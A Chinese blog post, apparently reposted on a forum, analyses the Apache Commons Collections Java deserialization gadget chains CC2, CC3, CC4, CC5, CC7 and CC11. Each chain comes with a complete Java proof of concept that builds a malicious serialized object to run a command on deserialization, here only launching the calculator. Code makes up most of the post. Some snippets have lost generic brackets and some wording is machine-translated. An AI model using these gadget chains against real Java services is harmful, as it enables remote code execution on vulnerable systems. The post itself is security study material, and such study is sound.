      Field ABSTRACT_TRANSLET = TemplatesImpl.class.getDeclaredField("ABSTRACT_TRANSLET");
      ABSTRACT_TRANSLET.setAccessible(true);
      ABSTRACT_TRANSLET.set(templates, "java.lang.Object");
      Transformer transformer = templates.newTransformer();
    }
}末了的问题是如何去序列化,可以看到Transformer这个类,我们可以结合CC1或者CC6
package com.f12;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC3 {
    public static void serialize(Object obj) throws IOException {
      FileOutputStream fos = new FileOutputStream("cc3.bin");
      ObjectOutputStream oos = new ObjectOutputStream(fos);
      oos.writeObject(obj);
    }
    public static void deserialize(String filename) throws IOException, ClassNotFoundException {
      FileInputStream fis = new FileInputStream(filename);
      ObjectInputStream ois = new ObjectInputStream(fis);
      ois.readObject();
    }

    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {
      TemplatesImpl templates = new TemplatesImpl();
      Field _name = TemplatesImpl.class.getDeclaredField("_name");
      _name.setAccessible(true);
      _name.set(templates, "1");
      Field _bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
      _bytecodes.setAccessible(true);
      byte[] bytes = Files.readAllBytes(Paths.get("D:\\Java安全学习\\CC1\\target\\classes\\com\\f12\\Eval.class"));
      byte[][] code = {bytes};
      _bytecodes.set(templates, code);
      Field _tfactory = TemplatesImpl.class.getDeclaredField("_tfactory");
      _tfactory.setAccessible(true);
      _tfactory.set(templates, new TransformerFactoryImpl());
      Field ABSTRACT_TRANSLET = TemplatesImpl.class.getDeclaredField("ABSTRACT_TRANSLET");
      ABSTRACT_TRANSLET.setAccessible(true);
      ABSTRACT_TRANSLET.set(templates, "java.lang.Object");
//      Transformer transformer = templates.newTransformer();
      Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(templates),
                new InvokerTransformer("newTransformer", null, null)
      };
      ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
      HashMap<Object, Object> map = new HashMap<>();
      Map<Object, Object> decorate = LazyMap.decorate(map,chainedTransformer);
      Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
      Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
      constructor.setAccessible(true);
      InvocationHandler handler = (InvocationHandler) constructor.newInstance(Target.class, decorate);
      Map newMap = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, handler);
      Object o = constructor.newInstance(Target.class, newMap);
      serialize(o);
      deserialize("cc3.bin");
    }
}package com.f12;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC3 {
    public static void serialize(Object obj) throws IOException {
      FileOutputStream fos = new FileOutputStream("cc3.bin");
      ObjectOutputStream oos = new ObjectOutputStream(fos);
      oos.writeObject(obj);
    }
    public static void deserialize(String filename) throws IOException, ClassNotFoundException {
      FileInputStream fis = new FileInputStream(filename);
      ObjectInputStream ois = new ObjectInputStream(fis);
      ois.readObject();
    }

    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {
      TemplatesImpl templates = new TemplatesImpl();
      Field _name = TemplatesImpl.class.getDeclaredField("_name");
      _name.setAccessible(true);
      _name.set(templates, "1");
      Field _bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
      _bytecodes.setAccessible(true);
      byte[] bytes = Files.readAllBytes(Paths.get("D:\\Java安全学习\\CC1\\target\\classes\\com\\f12\\Eval.class"));
      byte[][] code = {bytes};
      _bytecodes.set(templates, code);
      Field _tfactory = TemplatesImpl.class.getDeclaredField("_tfactory");
      _tfactory.setAccessible(true);
      _tfactory.set(templates, new TransformerFactoryImpl());
      Field ABSTRACT_TRANSLET = TemplatesImpl.class.getDeclaredField("ABSTRACT_TRANSLET");
      ABSTRACT_TRANSLET.setAccessible(true);
      ABSTRACT_TRANSLET.set(templates, "java.lang.Object");
//      Transformer transformer = templates.newTransformer();
      Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(templates),
                new InvokerTransformer("newTransformer", null, null)
      };
      ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
      Map<Object, Object> map = new HashMap<>();
      Map<Object, Object> lazymap = LazyMap.decorate(map, new ConstantTransformer(1));
      TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, null);
      HashMap<Object, Object> hashMap = new HashMap<>();
      hashMap.put(tiedMapEntry, null);
      map.remove(null);
      Field factory = LazyMap.class.getDeclaredField("factory");
      factory.setAccessible(true);
      factory.set(lazymap, chainedTransformer);
      serialize(hashMap);
      deserialize("cc3.bin");
    }
}美满收官,分析一下yso的CC3,又有所差别,可以看到它在Transformer[]里调用的是InstantiateTransformer,还引入了TrAXFilter这个类,我们追踪一下
https://img2024.cnblogs.com/blog/2746479/202403/2746479-20240319204600578-274293566.png#height=210&id=B4stL&originHeight=436&originWidth=1300&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=&width=624.7142944335938
首先TrAXFilter中会调用newTransformer
https://img2024.cnblogs.com/blog/2746479/202403/2746479-20240319204802464-1557070696.png#height=243&id=ubUUY&originHeight=386&originWidth=1010&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=&width=634.7142944335938
再看InstantiateTransformer的transform方法,获取构造器,再实例化,刚好可以触发TrAXFilter
https://img2024.cnblogs.com/blog/2746479/202403/2746479-20240319205035273-1946896525.png#height=290&id=YHCZb&originHeight=757&originWidth=1541&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=&width=590.7142944335938
package com.f12;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC3 {
    public static void serialize(Object obj) throws IOException {
      FileOutputStream fos = new FileOutputStream("cc3.bin");
      ObjectOutputStream oos = new ObjectOutputStream(fos);
      oos.writeObject(obj);
    }
    public static void deserialize(String filename) throws IOException, ClassNotFoundException {
      FileInputStream fis = new FileInputStream(filename);
      ObjectInputStream ois = new ObjectInputStream(fis);
      ois.readObject();
    }

    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {
      TemplatesImpl templates = new TemplatesImpl();
      Field _name = TemplatesImpl.class.getDeclaredField("_name");
      _name.setAccessible(true);
      _name.set(templates, "1");
      Field _bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
      _bytecodes.setAccessible(true);
      byte[] bytes = Files.readAllBytes(Paths.get("D:\\Java安全学习\\CC1\\target\\classes\\com\\f12\\Eval.class"));
      byte[][] code = {bytes};
      _bytecodes.set(templates, code);
      Field _tfactory = TemplatesImpl.class.getDeclaredField("_tfactory");
      _tfactory.setAccessible(true);
      _tfactory.set(templates, new TransformerFactoryImpl());
      Field ABSTRACT_TRANSLET = TemplatesImpl.class.getDeclaredField("ABSTRACT_TRANSLET");
      ABSTRACT_TRANSLET.setAccessible(true);
      ABSTRACT_TRANSLET.set(templates, "java.lang.Object");
//      Transformer transformer = templates.newTransformer();
      Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
      };
      ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
      HashMap<Object, Object> map = new HashMap<>();
      Map<Object, Object> decorate = LazyMap.decorate(map,chainedTransformer);
      Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
      Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
      constructor.setAccessible(true);
      InvocationHandler handler = (InvocationHandler) constructor.newInstance(Target.class, decorate);
      Map newMap = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, handler);
      Object o = constructor.newInstance(Target.class, newMap);
      serialize(o);
      deserialize("cc3.bin");
    }
}OK,美满办理
心不在焉CC4

CC4需要commoncollection4的依赖
<dependency>
    <groupId>org.apache.commons</groupId>
    <artifactId>commons-collections4</artifactId>
    <version>4.0</version>
</dependency>CC4实在就是CC3的前半部门,在修改了一下后部门的一些操作,不是像CC1,CC6那样使用LazyMap来触发transform了,所以得换别的类,such as TransformingComparator,这是commoncollection4里的类,我们跟进一下,compare这里调用了transform
https://img2024.cnblogs.com/blog/2746479/202403/2746479-20240319210315666-1296501162.png#id=YZVvT&originHeight=314&originWidth=947&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=
继承跟进,看哪调用了compare,PriorityQueue类https://img2024.cnblogs.com/blog/2746479/202403/2746479-20240319211448521-1155353328.png#height=316&id=vUVBP&originHeight=661&originWidth=929&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=&width=443.71429443359375
跟进
https://img2024.cnblogs.com/blog/2746479/202403/2746479-20240319211351643-2140620323.png#height=195&id=xh590&originHeight=289&originWidth=663&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=&width=448
继承跟进
https://img2024.cnblogs.com/blog/2746479/202403/2746479-20240319211320747-831459198.png#height=135&id=cAMg7&originHeight=213&originWidth=780&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=&width=495.71429443359375
美满
https://img2024.cnblogs.com/blog/2746479/202403/2746479-20240319211253172-496673359.png#height=375&id=Zk4qb&originHeight=733&originWidth=965&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=&width=493.71429443359375
构造exp:
package com.f12;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class CC4 {
    public static void serialize(Object obj) throws IOException {
      FileOutputStream fos = new FileOutputStream("cc4.bin");
      ObjectOutputStream oos = new ObjectOutputStream(fos);
      oos.writeObject(obj);
    }
    public static void deserialize(String filename) throws IOException, ClassNotFoundException {
      FileInputStream fis = new FileInputStream(filename);
      ObjectInputStream ois = new ObjectInputStream(fis);
      ois.readObject();
    }

    public static void main(String[] args) throws NoSuchFieldException, IOException, IllegalAccessException, ClassNotFoundException {
      TemplatesImpl templates = new TemplatesImpl();
      Field _name = TemplatesImpl.class.getDeclaredField("_name");
      _name.setAccessible(true);
      _name.set(templates, "1");
      Field _bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
      _bytecodes.setAccessible(true);
      byte[] bytes = Files.readAllBytes(Paths.get("D:\\Java安全学习\\CC1\\target\\classes\\com\\f12\\Eval.class"));
      byte[][] code = {bytes};
      _bytecodes.set(templates, code);
      Field _tfactory = TemplatesImpl.class.getDeclaredField("_tfactory");
      _tfactory.setAccessible(true);
      _tfactory.set(templates, new TransformerFactoryImpl());
      Field ABSTRACT_TRANSLET = TemplatesImpl.class.getDeclaredField("ABSTRACT_TRANSLET");
      ABSTRACT_TRANSLET.setAccessible(true);
      ABSTRACT_TRANSLET.set(templates, "java.lang.Object");
      Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
      };
      ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
      TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
      Field transformer = TransformingComparator.class.getDeclaredField("transformer");
      transformer.setAccessible(true);
      transformer.set(transformingComparator, chainedTransformer);
      PriorityQueue<Object> priorityQueue = new PriorityQueue<>(transformingComparator);
      priorityQueue.add(1);
      priorityQueue.add(2);
      serialize(priorityQueue);
      deserialize("cc4.bin");
    }
}成功弹出计算器
身不由己CC2

CC2与CC4差别的地方就是后半些许差别,没有用chainedtrainsform,直接用invokertransformer
直接上poc了,没啥可调试的
package com.f12;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class CC2 {
    public static void serialize(Object obj) throws IOException {
      FileOutputStream fos = new FileOutputStream("cc2.bin");
      ObjectOutputStream oos = new ObjectOutputStream(fos);
      oos.writeObject(obj);
    }
    public static void deserialize(String filename) throws IOException, ClassNotFoundException {
      FileInputStream fis = new FileInputStream(filename);
      ObjectInputStream ois = new ObjectInputStream(fis);
      ois.readObject();
    }

    public static void main(String[] args) throws NoSuchFieldException, IOException, IllegalAccessException, ClassNotFoundException {
      TemplatesImpl templates = new TemplatesImpl();
      Field _name = TemplatesImpl.class.getDeclaredField("_name");
      _name.setAccessible(true);
      _name.set(templates, "1");
      Field _bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
      _bytecodes.setAccessible(true);
      byte[] bytes = Files.readAllBytes(Paths.get("D:\\Java安全学习\\CC1\\target\\classes\\com\\f12\\Eval.class"));
      byte[][] code = {bytes};
      _bytecodes.set(templates, code);
      Field _tfactory = TemplatesImpl.class.getDeclaredField("_tfactory");
      _tfactory.setAccessible(true);
      _tfactory.set(templates, new TransformerFactoryImpl());
      Field ABSTRACT_TRANSLET = TemplatesImpl.class.getDeclaredField("ABSTRACT_TRANSLET");
      ABSTRACT_TRANSLET.setAccessible(true);
      ABSTRACT_TRANSLET.set(templates, "java.lang.Object");
      InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
      TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
      PriorityQueue<Object> priorityQueue = new PriorityQueue<>(transformingComparator);
      priorityQueue.add(templates);
      priorityQueue.add(2);
      Field transformer = TransformingComparator.class.getDeclaredField("transformer");
      transformer.setAccessible(true);
      transformer.set(transformingComparator, invokerTransformer);
      serialize(priorityQueue);
      deserialize("cc2.bin");
    }
}有点眼熟CC5

CC5就是改了一点点的CC6,看链子,就改了readObject部门,分析一下https://img2024.cnblogs.com/blog/2746479/202403/2746479-20240320130959100-1585071419.png#id=sfjM1&originHeight=575&originWidth=1110&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=
触发LazyMap.get换成了toString,这里调用了getValuehttps://img2024.cnblogs.com/blog/2746479/202403/2746479-20240320131434515-772307115.png#height=77&id=hNeXs&originHeight=135&originWidth=1087&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=&width=622.7142944335938
继承跟进,BadAttributeValueExpException的readObject调用了toString
https://img2024.cnblogs.com/blog/2746479/202403/2746479-20240320131529634-1566381113.png#height=398&id=B4MoS&originHeight=889&originWidth=1382&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=&width=618.7142944335938
这样就可以构造链子了,非常简单
package com.f12;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC5 {
    public static void serialize(Object obj) throws IOException {
      FileOutputStream fos = new FileOutputStream("cc5.bin");
      ObjectOutputStream oos = new ObjectOutputStream(fos);
      oos.writeObject(obj);
    }
    public static void deserialize(String filename) throws IOException, ClassNotFoundException {
      FileInputStream fis = new FileInputStream(filename);
      ObjectInputStream ois = new ObjectInputStream(fis);
      ois.readObject();
    }

    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
      Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
      };
      ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
      Map<Object, Object> map = new HashMap<>();
      Map<Object, Object> lazymap = LazyMap.decorate(map, chainedTransformer);
      TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, null);
      BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
      Field val = BadAttributeValueExpException.class.getDeclaredField("val");
      val.setAccessible(true);
      val.set(badAttributeValueExpException, tiedMapEntry);
      serialize(badAttributeValueExpException);
      deserialize("cc5.bin");
    }
}越看越熟CC7

CC7的链子,这里是从LazyMap.get的调用开始修改了
https://img2024.cnblogs.com/blog/2746479/202403/2746479-20240320132726460-1404458626.png#height=214&id=zdNHk&originHeight=404&originWidth=1141&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=&width=605.7142944335938
追踪一下,AbstractMap类的equals调用了get
https://img2024.cnblogs.com/blog/2746479/202403/2746479-20240320133117465-1629286875.png#height=441&id=pzfz3&originHeight=884&originWidth=950&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=&width=473.71429443359375
继承追踪equals,AbstractMapDecorator的equals调用了
https://img2024.cnblogs.com/blog/2746479/202403/2746479-20240320133253519-66330701.png#height=198&id=DGnxx&originHeight=265&originWidth=644&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=&width=481
继承追踪,为什么要用reconstitutionPut?Hashtable里还有好多地方都调用了equals
https://img2024.cnblogs.com/blog/2746479/202403/2746479-20240320133526754-223680251.png#height=397&id=EuPn0&originHeight=835&originWidth=1088&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=&width=517.7142944335938
由于它在readObject中被调用了
private void readObject(java.io.ObjectInputStream s)
         throws IOException, ClassNotFoundException
    {
      // Read in the length, threshold, and loadfactor
      s.defaultReadObject();

      // Read the original length of the array and number of elements
      int origlength = s.readInt();
      int elements = s.readInt();

      // Compute new size with a bit of room 5% to grow but
      // no larger than the original size.Make the length
      // odd if it's large enough, this helps distribute the entries.
      // Guard against the length ending up zero, that's not valid.
      int length = (int)(elements * loadFactor) + (elements / 20) + 3;
      if (length > elements && (length & 1) == 0)
            length--;
      if (origlength > 0 && length > origlength)
            length = origlength;
      table = new Entry<?,?>;
      threshold = (int)Math.min(length * loadFactor, MAX_ARRAY_SIZE + 1);
      count = 0;

      // Read the number of elements and then all the key/value objects
      for (; elements > 0; elements--) {
            @SuppressWarnings("unchecked")
                K key = (K)s.readObject();
            @SuppressWarnings("unchecked")
                V value = (V)s.readObject();
            // synch could be eliminated for performance
            reconstitutionPut(table, key, value);
      }
    }这样链子就明了了,构造poc,注意AbstractMapDecorator和AbstractMap都是抽象类,并不能实例化,但是都实现了Map,所以调用equals时是调用lazyMap.equals,找不到往上找就能找到AbstractMap.equals
package com.f12;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.AbstractMapDecorator;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.AbstractMap;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class CC7 {
    public static void serialize(Object obj) throws IOException {
      FileOutputStream fos = new FileOutputStream("cc7.bin");
      ObjectOutputStream oos = new ObjectOutputStream(fos);
      oos.writeObject(obj);
    }
    public static void deserialize(String filename) throws IOException, ClassNotFoundException {
      FileInputStream fis = new FileInputStream(filename);
      ObjectInputStream ois = new ObjectInputStream(fis);
      ois.readObject();
    }

    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
      Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
      };
      ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{});
      Map<Object, Object> map1 = new HashMap<>();
      Map<Object, Object> map2 = new HashMap<>();
      Map<Object, Object> lazymap1 = LazyMap.decorate(map1, chainedTransformer);
      Map<Object, Object> lazymap2 = LazyMap.decorate(map2, chainedTransformer);
      lazymap1.put("yy", 1);
      lazymap2.put("zZ",1);
      Hashtable hashtable = new Hashtable<>();
      hashtable.put(lazymap1, 1);
      hashtable.put(lazymap2,2);
      Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
      iTransformers.setAccessible(true);
      iTransformers.set(chainedTransformer, transformers);
      lazymap2.remove("yy");
      serialize(hashtable);
      deserialize("cc7.bin");
    }
}这里很有意思,键值还非得是yy和zZ,原因是它们两个的hashCode值相等,这样在reconstitutionPut方法中才能触发equals方法
不知好歹CC11

这里还学到一个javassist动态创建类,依赖:
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.29.1-GA</version>
</dependency>从构造形式来看像是CC2和CC6的杂交,但是里面有挺多的细节,先给出poc:
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;

@SuppressWarnings("all")
public class cc11 {
    public static void main(String[] args) throws Exception {

      // 利用javasist动态创建恶意字节码
      ClassPool pool = ClassPool.getDefault();
      pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
      CtClass cc = pool.makeClass("Cat");
      String cmd = "java.lang.Runtime.getRuntime().exec(\"open/System/Applications/Calculator.app\");";
      cc.makeClassInitializer().insertBefore(cmd);
      String randomClassName = "EvilCat" + System.nanoTime();
      cc.setName(randomClassName);
      cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); //设置父类为AbstractTranslet,避免报错

      // 写入.class 文件
      // 将我的恶意类转成字节码,并且反射设置 bytecodes
      byte[] classBytes = cc.toBytecode();
      byte[][] targetByteCodes = new byte[][]{classBytes};
      TemplatesImpl templates = TemplatesImpl.class.newInstance();

      Field f0 = templates.getClass().getDeclaredField("_bytecodes");
      f0.setAccessible(true);
      f0.set(templates,targetByteCodes);

      f0 = templates.getClass().getDeclaredField("_name");
      f0.setAccessible(true);
      f0.set(templates,"name");

      f0 = templates.getClass().getDeclaredField("_class");
      f0.setAccessible(true);
      f0.set(templates,null);

      InvokerTransformer transformer = new InvokerTransformer("asdfasdfasdf", new Class, new Object);
      HashMap innermap = new HashMap();
      LazyMap map = (LazyMap)LazyMap.decorate(innermap,transformer);
      TiedMapEntry tiedmap = new TiedMapEntry(map,templates);
      HashSet hashset = new HashSet(1);
      hashset.add("foo");
      Field f = null;
      try {
            f = HashSet.class.getDeclaredField("map");
      } catch (NoSuchFieldException e) {
            f = HashSet.class.getDeclaredField("backingMap");
      }
      f.setAccessible(true);
      HashMap hashset_map = (HashMap) f.get(hashset);

      Field f2 = null;
      try {
            f2 = HashMap.class.getDeclaredField("table");
      } catch (NoSuchFieldException e) {
            f2 = HashMap.class.getDeclaredField("elementData");
      }

      f2.setAccessible(true);
      Object[] array = (Object[])f2.get(hashset_map);

      Object node = array;
      if(node == null){
            node = array;
      }
      Field keyField = null;
      try{
            keyField = node.getClass().getDeclaredField("key");
      }catch(Exception e){
            keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
      }
      keyField.setAccessible(true);
      keyField.set(node,tiedmap);

      Field f3 = transformer.getClass().getDeclaredField("iMethodName");
      f3.setAccessible(true);
      f3.set(transformer,"newTransformer");

      try{
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc11"));
            outputStream.writeObject(hashset);
            outputStream.close();

            ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc11"));
            inputStream.readObject();
      }catch(Exception e){
            e.printStackTrace();
      }
    }

}先解释一下动态生成类
ClassPool pool = ClassPool.getDefault();: 创建一个ClassPool对象,它是Javassist库中用于管理CtClass对象(表示编译时类)的池。

pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));: 将AbstractTranslet类的类路径(ClassClassPath)插入到ClassPool中。这样做是为了确保在创建新类时,能够引用到AbstractTranslet类。

CtClass cc = pool.makeClass("Cat");: 使用ClassPool创建一个名为"Cat"的新CtClass对象,表示一个新的类。

String cmd = "java.lang.Runtime.getRuntime().exec(\"open/System/Applications/Calculator.app\");";: 定义了一个字符串变量cmd,其中包含要执行的恶意命令。该命令使用Runtime.getRuntime().exec()方法执行一个指定的命令,这里是打开计算器应用程序(Calculator.app)。

cc.makeClassInitializer().insertBefore(cmd);: 使用cc.makeClassInitializer()创建类初始化器(class initializer),并在其之前插入恶意命令。

String randomClassName = "EvilCat" + System.nanoTime();: 创建一个随机的类名,以确保每次执行代码时都会创建一个唯一的类名。

cc.setName(randomClassName);: 将新创建的类的名称设置为随机生成的类名。

cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));: 设置新创建的类的父类为AbstractTranslet类。分析过程:http://wjlshare.com/archives/1536
结尾

CC链到此为止,有些地方可能我自己也没弄太明确,建议结合别的文章品鉴

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
页: [1]
查看完整版本: Java CC链全分析